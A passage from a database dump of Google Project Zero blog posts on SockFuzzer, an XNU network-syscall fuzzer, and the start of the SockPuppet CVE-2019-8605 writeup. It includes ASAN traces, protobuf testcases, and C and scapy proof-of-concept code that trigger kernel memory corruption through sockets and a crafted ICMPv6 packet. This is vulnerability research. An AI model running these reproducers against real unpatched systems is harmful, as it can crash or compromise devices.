was an OOB write, but ASAN couldn\u2019t catch it because it corrupted memory within a struct. This is a well-known shortcoming of ASAN and similar mitigations, importantly the upcoming MTE. This means we don\u2019t catch the bug until later, when a randomly corrupted pointer is accessed.\n\n==1640571==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x6190000079dc in thread T0\n\n#0 0x4a0094 in free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7fbdfc7a16b0 in _FREE fuzz/zalloc.c:293:36\n\n#2 0x7fbdfc52b624 in mptcp_session_destroy bsd/netinet/mptcp_subr.c:742:3\n\n#3 0x7fbdfc50c419 in mptcp_gc bsd/netinet/mptcp_subr.c:4615:3\n\n#4 0x7fbdfc4ee052 in mp_timeout bsd/netinet/mp_pcb.c:118:16\n\n#5 0x7fbdfc79b232 in clear_all fuzz/backend.c:83:3\n\n#6 0x4dfd5c in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:1010:3\n\n0x6190000079dc is located 348 bytes inside of 920-byte region [0x619000007880,0x619000007c18)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7fbdfc7a03d4 in zalloc fuzz/zalloc.c:37:10\n\n#2 0x7fbdfc4ee710 in mp_pcballoc bsd/netinet/mp_pcb.c:222:8\n\n#3 0x7fbdfc53cf8a in mptcp_attach bsd/netinet/mptcp_usrreq.c:211:15\n\n#4 0x7fbdfc53699e in mptcp_usr_attach bsd/netinet/mptcp_usrreq.c:128:10\n\n#5 0x7fbdfc0e1647 in socreate_internal bsd/kern/uipc_socket.c:784:10\n\n#6 0x7fbdfc0e23a4 in socreate bsd/kern/uipc_socket.c:871:9\n\n#7 0x7fbdfc118695 in socket_common bsd/kern/uipc_syscalls.c:266:11\n\n#8 0x7fbdfc1182d1 in socket bsd/kern/uipc_syscalls.c:214:9\n\n#9 0x7fbdfc79a26e in socket_wrapper fuzz/syscall_wrappers.c:371:10\n\n#10 0x4dd275 in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nHere\u2019s the protobuf input for the crashing testcase:\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_AUTHENTICATED\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ncommands {\n\nioctl_real {\n\nsiocsifflags {\n\nifr_name: LO0\n\nflags: IFF_LINK1\n\n}\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ndata_provider: \"\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\" \n \n--- \n \nHmm, that\u2019s quite large and hard to follow. Is the bug really that complicated? We can use libFuzzer\u2019s crash minimization feature to find out. Protobuf-based test cases simplify nicely because even large test cases are already structured, so we can randomly edit and remove nodes from the message. After about a minute of automated minimization, we end up with the test shown below.\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_1\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"bugmbuf_debutoeloListen_dedeloListen_dedebuloListete_debugmbuf_debutoeloListen_dedeloListen_dedebuloListeListen_dedebuloListe_dtrte\" # string length 131\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nThis is a lot easier to read! It appears that SockFuzzer managed to open a socket from the AF_MULTIPATH domain and called connectx on it with a sockaddr using an unexpected sa_family, in this case AF_MULTIPATH. Then the large sa_data field was used to overwrite memory. You can see some artifacts of heuristics used by the fuzzer to guess strings as \u201clisten\u201d and \u201cmbuf\u201d appear in the input. This testcase could be further simplified by modifying the sa_data to a repeated character, but I left it as is so you can see exactly what it\u2019s like to work with the output of this fuzzer.\n\nIn my experience, the protobuf-formatted syscalls and packet descriptions were highly useful for reproducing crashes and tended to work on the first attempt. I didn\u2019t have an excellent setup for debugging on-device, so I tried to lean on the fuzzing framework as much as I could to understand issues before proceeding with the expensive process of reproducing them.\n\nIn [my ](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>)[previous post](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) describing the \u201cSockPuppet\u201d vulnerability, I walked through one of the newly discovered vulnerabilities, from protobuf to exploit. I\u2019d like to share another original protobuf bug report for a remotely-triggered vulnerability I reported [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>).\n\ncommands {\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_RAW\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_RCVBUF\n\nval: \"\\021\\000\\000\\000\"\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: IPPROTO_IPV6\n\nname: IP_FW_ZERO\n\nval: \"\\377\\377\\377\\377\"\n\n}\n\n}\n\ncommands {\n\nip_input {\n\ntcp6_packet {\n\nip6_hdr {\n\nip6_hdrctl {\n\nip6_un1_flow: 0\n\nip6_un1_plen: 0\n\nip6_un1_nxt: IPPROTO_ICMPV6\n\nip6_un1_hlim: 0\n\n}\n\nip6_src: IN6_ADDR_LOOPBACK\n\nip6_dst: IN6_ADDR_ANY\n\n}\n\ntcp_hdr {\n\nth_sport: PORT_2\n\nth_dport: PORT_1\n\nth_seq: SEQ_1\n\nth_ack: SEQ_1\n\nth_off: 0\n\nth_win: 0\n\nth_sum: 0\n\nth_urp: 0\n\nis_pure_syn: false\n\nis_pure_ack: false\n\n}\n\ndata: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377q\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n\n}\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \nThis automatically minimized test case requires some human translation to a report that\u2019s actionable by developers who don\u2019t have access to our fuzzing framework. The test creates a socket and sets some options before delivering a crafted ICMPv6 packet. You can see how the packet grammar we specified comes in handy. I started by transcribing the first three syscall messages directly by writing the following C program.\n\n#include <sys/socket.h>\n\n#define __APPLE_USE_RFC_3542\n\n#include <netinet/in.h>\n\n#include <stdio.h>\n\n#include <unistd.h>\n\nint main() {\n\nint fd = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nif (fd < 0) {\n\nprintf(\"failed\\n\");\n\nreturn 0;\n\n}\n\nint res;\n\n// This is not needed to cause a crash on macOS 10.14.6, but you can\n\n// try setting this option if you can't reproduce the issue.\n\n// int space = 1;\n\n// res = setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &space, sizeof(space));\n\n// printf(\"res1: %d\\n\", res);\n\nint enable = 1;\n\nres = setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPATHMTU, &enable, sizeof(enable));\n\nprintf(\"res2: %d\\n\", res);\n\n// Keep the socket open without terminating.\n\nwhile (1) {\n\nsleep(5);\n\n}\n\nclose(fd);\n\nreturn 0;\n\n} \n \n--- \n \nWith the socket open, it\u2019s now a matter of sending a special ICMPv6 packet to trigger the bug. Using the original crash as a guide, I reviewed the code around the crashing instruction to understand which parts of the input were relevant. I discovered that sending a \u201cpacket too big\u201d notification would reach the buggy code, so I used the [scapy](<https://scapy.net/>) library for Python to send the buggy packet locally. My kernel panicked, confirming the double free vulnerability.\n\nfrom scapy.all import sr1, IPv6, ICMPv6PacketTooBig, raw\n\nouter = IPv6(dst=\"::1\") / ICMPv6PacketTooBig() / (\"\\x41\"*40)\n\nprint(raw(outer).hex())\n\np = sr1(outer)\n\nif p:\n\np.show() \n \n--- \n \nCreating a working PoC from the crashing protobuf input took about an hour, thanks to the straightforward mapping from grammar to syscalls/network input and the utility of being able to debug the local crashing \u201ckernel\u201d using gdb.\n\nDrawbacks\n\nAny fuzzing project of this size will require design decisions that have some tradeoffs. The most obvious issue is the inability to detect race conditions. Threading bugs can be found with fuzzing but are still best left to static analysis and manual review as fuzzers can\u2019t currently deal with the state space of interleaving threads. Maybe this will change in the future, but today it\u2019s an issue. I accepted this problem and removed threading completely from the fuzzer; some bugs were missed by this, such as a race condition [in the bind syscall](<https://youtu.be/8cOx7vfszZU?t=366>).\n\nAnother issue lies in the fact that by replacing so much functionality by hand, it\u2019s hard to extend the fuzzer trivially to support additional attack surfaces. This is evidenced by another issue I missed in [packet filtering](<https://twitter.com/WangTielei/status/1246376070367965184>). I don\u2019t support VFS at the moment, so I can\u2019t access the bpf device. A syzkaller-like project would have less trouble with supporting this code since VFS would already be working. I made an explicit decision to build a simple tool that works very effectively and meticulously, but this can mean missing some low hanging fruit due to the effort involved.\n\nPer-test case determinism is an issue that I\u2019ve solved only partially. If test cases aren\u2019t deterministic, libFuzzer becomes less efficient as it thinks some tests are finding new coverage when they really depend on one that was run previously. To mitigate this problem, I track open file descriptors manually and run all of the garbage collection thread functions after each test case. Unfortunately, there are many ioctls that change state in the background. It\u2019s hard to keep track of them to clean up properly but they are important enough that it\u2019s not worth disabling them just to improve determinism. If I were working on a long-term well-resourced overhaul of the XNU network stack, I would probably make sure there\u2019s a way to cleanly tear down the whole stack to prevent this problem.\n\nPerhaps the largest caveat of this project is its reliance on source code. Without the efficiency and productivity losses that come with binary-only research, I can study the problem more closely to the source. But I humbly admit that this approach ignores many targets and doesn\u2019t necessarily match real attackers\u2019 workflows. Real attackers take the shortest path they can to find an exploitable vulnerability, and often that path is through bugs found via binary-based fuzzing or reverse engineering and auditing. I intend to discover some of the best practices for fuzzing with the source and then migrate this approach to work with binaries. [Binary instrumentation](<https://github.com/googleprojectzero/TinyInst>) can assist in coverage guided fuzzing, but some of my tricks around substituting fake implementations or changing behavior to be more fuzz-friendly is a more significant burden when working with binaries. But I believe these are tractable problems, and I expect researchers can adapt some of these techniques to binary-only fuzzing efforts, even if there is additional overhead.\n\nOpen Sourcing and Future Work\n\nThis fuzzer is now open source on [GitHub](<https://github.com/googleprojectzero/SockFuzzer>). I invite you to study the code and improve it! I\u2019d like to continue the development of this fuzzer semi-publicly. Some modifications that yield new vulnerabilities may need to be embargoed until relevant patches go out. Still, I hope that I can be as transparent as possible in my research. By working publicly, it may be possible to bring the original XNU project and this fuzzer closer together by sharing the efforts. I\u2019m hoping the upstream developers can make use of this project to perform their own testing and perhaps make their own improvements to XNU to make this type of testing more accessible. There\u2019s plenty of remaining work to improve the existing grammar, add support for new subsystems, and deal with some high-level design improvements such as adding proper threading support.\n\nAn interesting property of the current fuzzer is that despite reaching coverage saturation on ClusterFuzz after many months, there is still reachable but uncovered code due to the enormous search space. This means that improvements in coverage-guided fuzzing could find new bugs. I\u2019d like to encourage teams who perform fuzzing engine research to use this project as a baseline. If you find a bug, you can take the credit for it! I simply hope you share your improvements with me and the rest of the community.\n\nConclusion\n\nModern kernel development has some catching up to do. XNU and Linux suffer from some process failures that lead to [shipping](<https://www.synacktiv.com/en/publications/return-of-the-ios-sandbox-escape-lightspeeds-back-in-the-race.html>) [security](<https://www.theguardian.com/technology/2019/aug/20/apple-reopens-security-flaw-ios-iphone>) [regressions](<https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c6c9fee35dc27362b7bac34b2fc9f5b8ace2e22c>). Kernels, perhaps the most security-critical component of operating systems, are becoming increasingly fragile as memory corruption issues become easier to discover. Implementing better mitigations is half the battle; we need better kernel unit testing to make identifying and fixing (even non-security) bugs cheaper.\n\nSince my last post, Apple has increased the frequency of its open-source releases. This is great for end-user security. The more publicly that Apple can develop XNU, the more that external contributors like myself may have a chance to contribute fixes and improvements directly. Maintaining internal branches for upcoming product launches while keeping most development open has helped Chromium and Android security, and I believe XNU\u2019s development could follow this model. As software engineering grows as a field, our experience has shown us that open, shared, and continuous development has a real impact on software quality and stability by improving developer productivity. If you don\u2019t invest in CI, unit testing, security reviews, and fuzzing, attackers may do that for you - and users pay the cost whether they recognize it or not.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-22T00:00:00", "type": "googleprojectzero", "title": "\nDesigning sockfuzzer, a network syscall fuzzer for XNU\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2021-04-22T00:00:00", "id": "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A", "href": "https://googleprojectzero.blogspot.com/2021/04/designing-sockfuzzer-network-syscall.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:20", "description": "Posted by Ned Williamson, 20% on Project Zero \n\n\n# Introduction\n\nI have a somewhat unique opportunity in this writeup to highlight my experience as an iOS research newcomer. Many high quality iOS kernel exploitation writeups have been published, but those often feature weaker initial primitives combined with lots of cleverness, so it\u2019s hard to tell which iOS internals were specific to the exploit and which are generic techniques.\n\n** \n**\n\nIn this post, we\u2019ll look at CVE-2019-8605, a vulnerability in the iOS kernel and macOS for five years and how to exploit it to achieve arbitrary kernel read/write. This issue affected XNU as early as 2013, and was reported by me to Apple on March 2019. It was then patched in iOS 12.3 in May 2019 and I [released](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806>) the complete details including the exploit for iOS for analysis, named \u201cSockPuppet,\u201d in July 2019. It was then discovered that this issue regressed in iOS 12.4 and was later patched in iOS 12.4.1 in late August 2019.\n\n** \n**\n\nThe primitive in SockPuppet is stronger than usual: it offers an arbitrary read and free with very little work. This makes it easier to see what a canonical iOS exploit looks like since we can skip over the usual work to set up strong initial primitives. I\u2019ll begin by describing how I found my bug, and then explain how I exploited it given only a background in Linux and Windows exploitation. If you\u2019re interested, I\u2019ve collaborated with LiveOverflow to make a video explaining this bug. You can watch it [here](<https://www.youtube.com/watch?v=YV3jewkUJ54>).\n\n# Bug Hunting\n\n## Why network fuzzing?\n\nOne technique for choosing fuzz targets is enumerating previous vulnerability reports for a given project, finding the bug locations in the source tree, and then picking up a component of the project that is self-contained and contains a diverse subset of the bugs. Then by creating a fuzzer which is fairly generic but can still reproduce the previous finds, you are likely to find new ones. When I started to work on my fuzzer, I used two bug reports to seed my research: an [mptcp_usr_connectx buffer overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) by Ian Beer of Google Project Zero and an [ICMP packet parsing buffer overflow](<https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407>) by Kevin Backhouse of Semmle. What made these perfect candidates was that they were critical security issues in completely different parts of the same subsystem: one in the network-related syscalls and one in parsing of remote packets. If I could make a fuzzer that would make random network-related syscalls and feed random packets into the IP layer, I might be able to reproduce these bugs and find new ones. Those past bugs were discovered using code auditing and static analysis, respectively. As someone who primarily uses fuzzing to find memory corruption vulnerabilities, these are highly useful artifacts for me to study, since they come from some of the best practitioners of auditing and static analysis in the industry. In case I failed to reproduce the bugs or find any new ones, it would at least be an educational project for me. Success would validate that my approach was at least as good as the approaches originally used to discover these bugs. Failure would be an example of a gap in my approach.\n\n** \n**\n\nThe first draft of the fuzzer went off without a hitch: it found Ian\u2019s and Kevin\u2019s bugs with actionable ASAN reports. Even better, for the ICMP buffer overflow it crashed exactly on the line that Ian described in his email to Kevin as described on Semmle\u2019s blog. When I saw how accurate and effective this was, I started to get really excited. Even better, my fuzzer went on to find a variant of the ICMP bug that I didn\u2019t see mentioned publicly, but was fortunately addressed in Apple\u2019s thorough patch for the vulnerability.\n\n## From Protobuf to PoC\n\nThe exact details of how the fuzzer works will be described in a future post, but some context is necessary to understand how this specific bug was found. At a high level, the fuzzer\u2019s design is a lot like that of [syzkaller](<https://github.com/google/syzkaller>). It uses a [protobuf-based grammar](<https://github.com/google/libprotobuf-mutator>) to encode network-related syscalls with the types of their arguments. On each fuzzer iteration, it does a sequence of random syscalls, interleaving (as a pseudo-syscall) the arrival of random packets at the [network layer](<https://en.wikipedia.org/wiki/Network_layer>).\n\n** \n**\n\nFor example, the syscall to open a socket is int socket(int domain, int type, int protocol). The protobuf message representing this syscall and its arguments is:\n\n** \n**\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n}\n\n \n\n\nenum Domain {\n\nAF_UNSPEC = 0;\n\nAF_UNIX = 1;\n\nAF_INET = 2;\n\n...\n\nAF_MAX = 40;\n\n}\n\n \n\n\nenum SoType {\n\nSOCK_STREAM = 1;\n\nSOCK_DGRAM = 2;\n\nSOCK_RAW = 3;\n\nSOCK_RDM = 4;\n\nSOCK_SEQPACKET = 5;\n\n}\n\n \n\n\nenum Protocol {\n\nIPPROTO_IP = 0;\n\nIPPROTO_ICMP = 1;\n\nIPPROTO_IGMP = 2;\n\nIPPROTO_GGP = 3;\n\n...\n\n} \n \n--- \n \n** \n**\n\nLibFuzzer and protobuf-mutator work together to generate and mutate protobuf messages using the format I defined. Then I consume these messages and call the real C implementation. The fuzzer might generate the following protobuf message as part of the sequence of messages representing syscalls:\n\n** \n**\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n} \n \n--- \n \n** \n**\n\nIn the loop over input syscall messages, I call the syscall appropriately based on the message type:\n\n** \n**\n\nstd::set<int> open_fds;\n\n \n\n\n// ...\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\nassert(open_fds.find(fd) != open_fds.end());\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n} \n \n--- \n \n** \n**\n\nHere, you can see some of the light manual work that is involved: I keep track of open file descriptors by hand, so I can be sure to close them at the end of one fuzzer iteration.\n\n** \n**\n\nThe fuzzer started out by simply encoding all the network-related syscalls into messages that had the correct types for each argument. To improve coverage, I refined the grammar and made changes to the code under test. Because there is so much code to cover, the most efficient way to find bugs is to identify suspicious-looking code manually by auditing. Given our fuzzing infrastructure, we can look at the coverage metrics to understand how well-tested some suspicious code is and tweak the fuzzer to uniformly exercise desired states. That may be at a higher level of abstraction than code coverage alone, but coverage will still help you identify if and how often a certain state is reached.\n\n** \n**\n\nNow let\u2019s see how refining the fuzz grammar led us from a low-quality crash to a clean and highly exploitable PoC. The testcase triggering the first crash for CVE-2019-8605 only affected raw sockets, and was therefore root only. Here\u2019s the reproducer I submitted to Apple:\n\n \n\n\n#define IPPROTO_IP 0\n\n \n\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\n \n\n\nint main() {\n\nint s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nstruct sockaddr_in6 sa1 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65000,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_LOOPBACK,\n\n.sin6_scope_id = 0,\n\n};\n\nstruct sockaddr_in6 sa2 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65001,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_ANY,\n\n.sin6_scope_id = 0,\n\n};\n\nconnect(s, (const sockaddr*)&sa1, sizeof(sa1));\n\nunsigned char buffer[4] = {};\n\nsetsockopt(s, 41, 50, buffer, sizeof(buffer));\n\nconnect(s, (const sockaddr*)&sa2, sizeof(sa2));\n\nclose(s);\n\n} \n \n--- \n \n** \n**\n\nAs this C reproducer was modelled directly after the protobuf testcase, you can see how my early grammar had lots of precision for sockaddr structures. But setsockopt was horribly underspecified: it just took 2 integers and a random buffer of data. Fortunately, that was enough for us to guess 41 (IPPROTO_IPV6) and 50 (IPV6_3542RTHDR), correctly setting an IPv6 output option.\n\n** \n**\n\nLooking at the ASAN report for the use after free, we see the following stack trace for the free:\n\n \n\n\n#0 0x497a3d in free _asan_rtl_:3\n\n#1 0x7f8bbe5f42cd in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n\n#2 0x7f8bbe6b06d0 in rip6_detach /src/bsd/netinet6/raw_ip6.c:829:2\n\n#3 0x7f8bbe6af680 in rip6_abort /src/bsd/netinet6/raw_ip6.c:837:9\n\n#4 0x7f8bbe6b0795 in rip6_disconnect /src/bsd/netinet6/raw_ip6.c:848:9\n\n#5 0x7f8bbe10132f in sodisconnectlocked /src/bsd/kern/uipc_socket.c:1792:10\n\n#6 0x7f8bbe1028dc in soconnectlock /src/bsd/kern/uipc_socket.c:1664:15\n\n#7 0x7f8bbe133e00 in connectit /src/bsd/kern/uipc_syscalls.c:954:10\n\n#8 0x7f8bbe133b25 in connect_nocancel /src/bsd/kern/uipc_syscalls.c:726:10\n\n#9 0x7f8bbe6f22b4 in connect_wrapper /src/fuzzing/syscall_stubs.c:125:7 \n \n--- \n \n** \n**\n\nLooking at the function that actually calls free, we see the following:\n\n \n\n\nvoid\n\nin6_pcbdetach(struct inpcb *inp)\n\n{\n\n// ...\n\nif (!(so->so_flags & SOF_PCBCLEARING)) {\n\nstruct ip_moptions *imo;\n\nstruct ip6_moptions *im6o;\n\n \n\n\ninp->inp_vflag = 0;\n\nif (inp->in6p_options != NULL) {\n\nm_freem(inp->in6p_options);\n\ninp->in6p_options = NULL; // <\\- good\n\n}\n\nip6_freepcbopts(inp->in6p_outputopts); // <\\- bad, dangling pointer\n\nROUTE_RELEASE(&inp->in6p_route);\n\n// free IPv4 related resources in case of mapped addr\n\nif (inp->inp_options != NULL) {\n\n(void) m_free(inp->inp_options);\n\ninp->inp_options = NULL; // <\\- good\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nThe call to ip6_freepcbopts is the culprit here. In my fuzzer build this function was inlined into ipc6_pcbdetach, which explains the backtrace we saw in the bug report. As you can see, the developers intended for the socket options to be reused in some cases by NULLing out each pointer after it was freed. But because the in6p_outputopts are represented by a pointer to another struct, they are freed by the helper function in6_freepcbopts. That function does not know the address of inp, so it cannot clear &inp->in6p_outputopts, as we can see the code in this snippet neglects to do. This bug does look straightforward upon inspection, but the ROUTE_RELEASE on the following line, for example, is safe because it\u2019s modifying the in6p_route stored inline in the inp and correctly NULLing pointers. Older XNU revisions didn\u2019t NULL anything, and either they were all buggy or this code just wasn\u2019t originally designed to account for reuse of the socket.\n\n** \n**\n\nThe freed buffer was created by a call to setsockopt. This is a hint that we might be able to keep accessing the freed buffer with more calls to getsockopt and setsockopt, which would represent read and write primitives respectively. The initial testcase looked like a really specific edge case in raw sockets, so I figured it wasn\u2019t easily exploitable. Whenever I report a bug, I will create a local patch for it to avoid hitting it again in subsequent fuzzing. But because I wanted to find more variants of it, I just disabled raw sockets in my fuzzer with a one line enum change and left the bug intact.\n\n** \n**\n\nThis would prove to be the right idea. I quickly found a new variant that let you read the use-after-free data using getsockopt via a TCP socket, so it worked inside the iOS app sandbox. Awesome! After some quick trial and error I saw that setsockopt wouldn\u2019t work for sockets that have been disconnected. But letting the fuzzer continue to search for a workaround for me was free, so again I worked around the unexploitable testcase and left the bug intact by adding a workaround specifically for the getsockopt case:\n\n \n\n\n// HACK([nedwill](<https://who.corp.google.com/nedwill>)): this prevents us from seeing the trivial read UaF case\n\nif (in6p->inp_state == INPCB_STATE_DEAD) {\n\nerror = 0;\n\nbreak;\n\n}\n\n// Normal handler\n\nerror = ip6_getpcbopt(in6p->in6p_outputopts, optname, sopt); \n \n--- \n \n** \n**\n\nBy this point I realized that setsockopt was an important source of complexity and bugs. I updated the grammar to better model the syscall by confining the name argument for setsockopt to be only valid values selected from an enum. You can see the change below, where SocketOptName enum now specifies a variety of real option names from the SO, TCP, IPV6, and other levels.\n\n \n\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\n- optional int32 name = 2;\n\n+ optional SocketOptName name = 2;\n\n// TODO([nedwill](<https://who.corp.google.com/nedwill>)): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\n \n\n\nenum SocketOptName {\n\n+ option allow_alias = true;\n\n+\n\n+ /* socket.h */\n\n+ SO_DEBUG = 0x0001; /* turn on debugging info recording */\n\n+ SO_ACCEPTCONN = 0x0002; /* socket has had listen() */\n\n+ SO_REUSEADDR = 0x0004; /* allow local address reuse */\n\n+ SO_KEEPALIVE = 0x0008; /* keep connections alive */\n\n+ SO_DONTROUTE = 0x0010; /* just use interface addresses */\n\n+ 